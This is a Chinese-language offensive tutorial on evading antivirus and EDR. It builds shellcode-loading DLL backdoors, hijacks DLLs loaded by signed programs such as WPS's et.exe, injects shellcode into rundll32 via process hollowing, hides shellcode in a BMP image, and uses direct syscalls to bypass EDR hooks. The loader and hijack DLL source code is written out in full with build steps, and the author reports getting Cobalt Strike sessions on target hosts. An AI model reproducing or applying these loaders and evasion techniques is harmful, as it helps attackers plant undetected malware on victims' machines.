免杀对抗—DLL劫持白加黑隐写分离EDRSyscall-hook

前言

今天讲点比较高端的东西—DLL反射注入，首先什么是DLL文件，简答来说就是程序为了实现某个功能而调用的文件。举个例子，某个代码想要实现某个功能是不是会调用一些封装好的函数，exe同样如此，想要实现某个功能就会调用封装好的函数。那么我们把上线代码编译成DLL，再另外写个代码去调用它，不就实现了上线吗。

调用加载

首先我们在VS创建一个DLL项目，直接搜一下即可。

然后把里面原有的代码给删除掉，换成我们C的shellcode以及加载器，其它的语言也行。

接着生成DLL文件。

这个DLL文件呢是不可以直接运行的，我们可以用python写个代码去调用DLL文件。

from ctypes import *

#利用python载入dll文件
lib = CDLL(r'F:\project\Dll1\Debug\Dll1.dll')
#调用dll文件内置方法函数
lib.main()

运行py文件可以看到是有建立连接的，但是不知道为啥没有返回meterpreter。

我又试了试把shellcode换成CS的，重新生成一个DLL后门，但是运行py文件CS这边也没有上线，好奇怪，有懂的师傅还请指教一下。

我们可以把这个py脚本编译成exe，然后和这个生成的DLL文件一起放到靶机上。

pyinstaller --onefile --distpath . dll.py

查杀的话是只会查杀到我们的DLL后门，那个调用DLL的exe是不可能被查杀到的。

用上我们之前的讲过的混淆或者分离，对原生态的DLL进行一下处理即可。

白加黑

导入加载

这个就有点高端了，所谓的白加黑就是利用白程序去干黑的行为，例如我们微信这个exe为了实现某个功能就去调用DLL，那我们劫持这个DLL把它换成我们的DLL后门，这样一来别人运行微信不就会调用我们这个DLL后门吗，然后就实现了上线。

这里我们用这个KK录像来搞，我们可以看到它里面是有一些数字签名的，说明这个玩意儿是安全的，不会被杀软查杀滴。

我们把这个东西kk.exe运行起来，用火绒看一下进程，主要是看他调用了那些DLL文件。

我们选用图中的DLL，因为比较小，才几百KB。

我们用Stud_PE这个工具打开libfontconfig-1.dll，可以在函数这个看到这个DLL又调用了其它的DLL文件。

右键选择Add New Import添加新的DLL。

当你满怀激动地导入我们刚刚生成的DLL文件，没想到提示一个没有PE结构。

此时我们得换个代码去生成上线的DLL。

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include<windows.h>
#include<iostream>
HANDLE My_hThread = NULL;
unsigned char shellcode[] = "32位shellcode"
DWORD  WINAPI  ceshi(LPVOID pParameter)
{
    __asm
    {
        mov eax, offset shellcode
        jmp eax
    }
    return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH://初次调用dll时执行下面代码
        My_hThread = ::CreateThread(NULL, 0, &ceshi, 0, 0, 0);//新建线程
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
extern"C" _declspec(dllexport) void test()
{
    int a;
    a = 0;
}

此时便可成功导入DLL后门，也就是说当kk.exe运行的时候就会调用我们的libfontconfig-1.dll，然后libfontconfig-1.dll再去调用我们的DLL后门。

把我们改造好的libfontconfig-1.dll覆盖掉原本的libfontconfig-1.dll，记得把生成的DLL后门也一起复制过去，此时我们再运行KK.exe即可实现上线，从这个进程可以看出来是KK.exe运行上线的。

不过我一运行这个KK.exe火绒就会告警，说明还是不行，还是得对shellcode进行分离说着混淆一下可能才行，有时间我再搞一下。

导出编译

上面这个KK.exe运行起来依赖的DLL太多了，我们不可能全部都放到目标主机上面滴。我们找到WPS里面的这个et.exe，因为大多数的Windows主机都会有WPS这个软件。

运行et.exe用火绒分析进程发现调用了krpt这个dll，而且这个dll才91KB。

如果说你还像上面那样子，把DLL后门导入到krpt.dll里面，然后再去运行et.exe的话，你会发现是上不了线的。因为这个程序会有一个防劫持的检测，就是你的文件如果被检测到二次篡改，那么这个程序在运行的时候就会把这个文件还原，所以不是所有程序都可以进行白加黑的。

那现在我们可以用第二种方法，就是我把这个krpt.dll给反编译出来，然后根据它的核心代码去

自己写一个新的krpt.dll。我们用这个DependenciesGui.exe工具去反编译dll，这是专门反编译dll滴，然后右键保存。

现在比较复杂的工作就来了，就是要把这三个文件编写成一个dll，并且加入我们的shellcode，就是利用源码进行编译且加入上线功能。

我们新建一个DLL项目，然后把那三个源码文件复制到项目目录下面去。

接着再拖过来就会给你自动加载好。

打开krpt_jump.asm文件进行修改，直接把所有的jmp语句给删除掉，为什么呢，你可以理解为这事无用的。

再根据代码开头的这个说明去改，改完点击应用即可。

要注意的是顶头这里选择所有配置和所有平台。

接着一步一步来，先顶上选择所有配置和所有选择，右键项目名称——>右键属性——>c/c++——>代码生成——>运行库——>多线程(/MT)。

预编译头——>不使用预编译头。

链接器——>调试——>生成调试信息——>否。

在krpt.c这个文件添加一行代码。

接着随便找个上线shellcode的代码。

#include "framework.h"
#include "krpt.h"
#include "windows.h"

BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	{
		unsigned char hexData[] = "32位shellcode"

		char* v7A = (char*)VirtualAlloc(0, _countof(hexData), 0x3000u, 0x40u);
		memcpy((void*)v7A, hexData, _countof(hexData));

		struct _PROCESS_INFORMATION ProcessInformation;
		struct _STARTUPINFOA StartupInfo;
		void* v24;
		CONTEXT Context;
		DWORD DwWrite = 0;
		memset(&StartupInfo, 0, sizeof(StartupInfo));
		StartupInfo.cb = 68;
		BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation);
		if (result)
		{
			Context.ContextFlags = 65539;
			GetThreadContext(ProcessInformation.hThread, &Context);
			v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, _countof(hexData), 0x1000u, 0x40u);
			WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, _countof(hexData), &DwWrite);
			Context.Eip = (DWORD)v24;
			SetThreadContext(ProcessInformation.hThread, &Context);
			ResumeThread(ProcessInformation.hThread);
			CloseHandle(ProcessInformation.hThread);
			result = CloseHandle(ProcessInformation.hProcess);
		}


		TerminateProcess(GetCurrentProcess(), 0);
	};

	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

编译成DLL，然后重命名位krpt.dll替换原来的那个，运行et.exe即可上线CS，这里有个好处就是只需把et.exe和krpt.dll这两个东西上传到目标主机即可。

但是它还是被查杀出来，那咋办，用上我们之前讲的分离或者混淆即可，因为我们的shellcode是直接暴露出来的。

但是奇怪的是，可以正常执行命令，只不过下面那里啥也看不见滴，因为执行sleep 0是可以的，就是没有命令显示，也没有结果回显。

好吧过了一会又有了。

图片分离

上面我们说到DLL之所以被杀了的原因是由于我们没有对shellcode进行处理，我们这里可以借助DKMC-master这个项目把shellcode藏在图片中，这个项目要用python2去运行。

E:\Python27\python.exe dkmc.py

可以看到有五个选项，自己去翻译一下就可以了，我们选择第一个输入gen，生成一个恶意的image。

可以看到有四个操作，分别是show、set、run、exit。

我们直接set个32位的shellcode。

最后直接run，即可生成一个带有shellcode的图片。

然后我们修改一下上面的代码，无非就是加一段从图片中提取shellcode的代码，其他的不变。还需注意一下这里是打开wlw.bmp，所以我们生成的图片也需要改一下名字。

此时编译成DLL会报个错，意思就是fopen不安全，推荐你用fopen_s，这个时候当然是懒得换= =，所以直接考虑屏蔽掉安全报错。所以有很多时候报错并不是你代码的问题，而是环境配置的问题。

项目属性——>C++——>预处理器——>预处理器定义，在里面加入一段代码：_CRT_SECURE_NO_WARNINGS。

此时再编译成DLL就不会有任何的报错。

把生成的DLL覆盖掉原本的krpt.dll文件，再把图片放到和他们的同一目录，运行et.exe即可上线。

此时我们再去查杀这个krpt.dll是完全没问题的。

火绒也没有查杀出来。

没想到WD居然能查杀到，不过也正常DLL本来就是微软的东西，自家的东西自家查杀肯定会更好。

Syscall

这个玩意就是比较高端的东西了，Syscall差不多意思就是系统调用，这个玩意涉及的东西都比较底层。所以网上没啥人讲，也不会讲的很细，当然我也不会，哈哈哈哈。

EDR

首先我们得先知道有种东西叫EDR——终端安全中心，这是什么玩意呢，就是杀软的pro max版。像火绒、360这种杀软，它只会检测你的文件有没有问题。但是这个EDR不仅会检测你的文件有没有毒，还会检测你的文件是哪里来的、干了什么事情，运行起来调用了哪些系统函数或者API啥的。

HOOK

HOOK是一种技术，直译过来就是钩子的意思，是一种编程机制。

下面是维基百科的解释：

钩子编程（hooking），也称作“挂钩”，是计算机程序设计术语，指通过拦截软件模块间的函数调用、消息传递、事件传递来修改或扩展操作系统、应用程序或其他软件组件的行为的各种技术。处理被拦截的函数调用、事件、消息的代码，被称为钩子（hook）。

就我个人理解，就是当程序执行到某一个函数或者地方，我们给他挂上一串代码，让它跳过原本的代码或者执行我们挂上的代码。

HOOK原理：创建一个代理对象，然后把原始对象替换为我们的代理对象，这样就可以在这个代理对象为所欲为，修改参数或替换返回值。

顺便说一下，handle（句柄）是对计算机资源（文件，设备，网络，窗口等等）的抽象表示。程序员可以通过handle来操作系统中的各类资源。而hook指通过拦截系统或者应用中的事件，信号和调用，来更改系统或者应用的默认行为。

Ring3 HOOK

这我网上找的一个图，Ring是Intel x86架构中定义的四个特权级别，从Ring0（最高特权级别）到Ring3（最低特权级别）。

Ring0被称为内核模式或者最高权限级别，通常用于操作系统内核和设备驱动程序，在此级别运行的代码可以直接访问硬件和操作系统内核资源，包括内存、CPU、I/O设备等。

Ring3被称为用户态或用户模式，通常用于运行普通的应用程序。用户空间的应用程序在Ring3级别下运行，无法直接访问系统资源和硬件，必须通过系统调用（System Call）或中断（Interrupt）来请求操作系统提供的服务。

我们在VS反编译这段代码，获取syscall的最简单形式。

#include <Windows.h>
#include "winternl.h"
#pragma comment(lib, "ntdll")

EXTERN_C NTSTATUS SysNtCreateFile(
	PHANDLE FileHandle,
	ACCESS_MASK DesiredAccess,
	POBJECT_ATTRIBUTES ObjectAttributes,
	PIO_STATUS_BLOCK IoStatusBlock,
	PLARGE_INTEGER AllocationSize,
	ULONG FileAttributes,
	ULONG ShareAccess,
	ULONG CreateDisposition,
	ULONG CreateOptions,
	PVOID EaBuffer,
	ULONG EaLength);

int main()
{
	FARPROC addr = GetProcAddress(LoadLibraryA("ntdll"), "NtCreateFile");

	OBJECT_ATTRIBUTES oa;
	HANDLE fileHandle = NULL;
	NTSTATUS status = NULL;
	UNICODE_STRING fileName;
	IO_STATUS_BLOCK osb;

	RtlInitUnicodeString(&fileName, (PCWSTR)L"\\??\\c:\\temp\\test.txt");
	ZeroMemory(&osb, sizeof(IO_STATUS_BLOCK));
	InitializeObjectAttributes(&oa, &fileName, OBJ_CASE_INSENSITIVE, NULL, NULL);

	SysNtCreateFile(
		&fileHandle,
		FILE_GENERIC_WRITE,
		&oa,
		&osb,
		0,
		FILE_ATTRIBUTE_NORMAL,
		FILE_SHARE_WRITE,
		FILE_OVERWRITE_IF,
		FILE_SYNCHRONOUS_IO_NONALERT,
		NULL,
		0);

	return 0;
}

通过一段这样的程序进入Ring0。

我们看一个最普通的shellcode加载器，代码调用了VirtualAlloc这个Windows API函数去申请一块内存地址。

void main()
{
    LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (Memory == NULL) { return; }
    memcpy(Memory, shellcode, sizeof(shellcode));
    ((void(*)())Memory)();
}

VirtualAlloc它包含在Windows系统文件Kernel32.dll中，说白了还是去调用Kernel32.dll文件，那么这个Kernel32.dll又去调用Ntdll.dll中的函数（NT层动态链接库），这些函数一般都是"Ntxxx"或者"Zwxx",反正差不多都是这两个开头的函数，这种函数叫做Native API，然后用户想从Ring3到Ring0需要借助这样的函数。

当你运行程序且使用VirtualAlloc、ReadFile等一些敏感的Windows API的时候，EDR就会对你进行监控、拦截或者修改，这就是Ring3层面的Hook。所以有时候用一些冷门的API可以过掉EDR，但实际上最终会调用到NTxxx。Zwxxx这种函数。有些函数没有被edr hook就可以绕过，我说白了还是通过黑名单机制的一种绕过。

Syscall对抗

OK，前置知识简单说了一下，现在我们进入主要的内容，如何利用Syscall去对抗EDR。我们看一普通的exe后门，可以看到调用了很多的DLL文件，像什么KERNEL32.DLL等等。

加入syscall的代码我不会写，这是网上2年前比较牛的项目，但是现在免杀效果也已经不太理想了。利用这个项目编译一个加入了syscall调用方式的exe，运行起来会发现几乎没有调用什么DLL文件，也就是说正常上线是调用DLL——>DLL去调用底层函数，而加入了syscall调用之后——>直接调用底层函数。

GitHub - 7BitsTeam/EDR-Bypass-demo: Some demos to bypass EDRs or AVs by 78itsT3@m

从这张图可以看出很多Ntxxx函数都有一个内存编号，那么在程序里面直接载入这个内存编号实现函数的调用。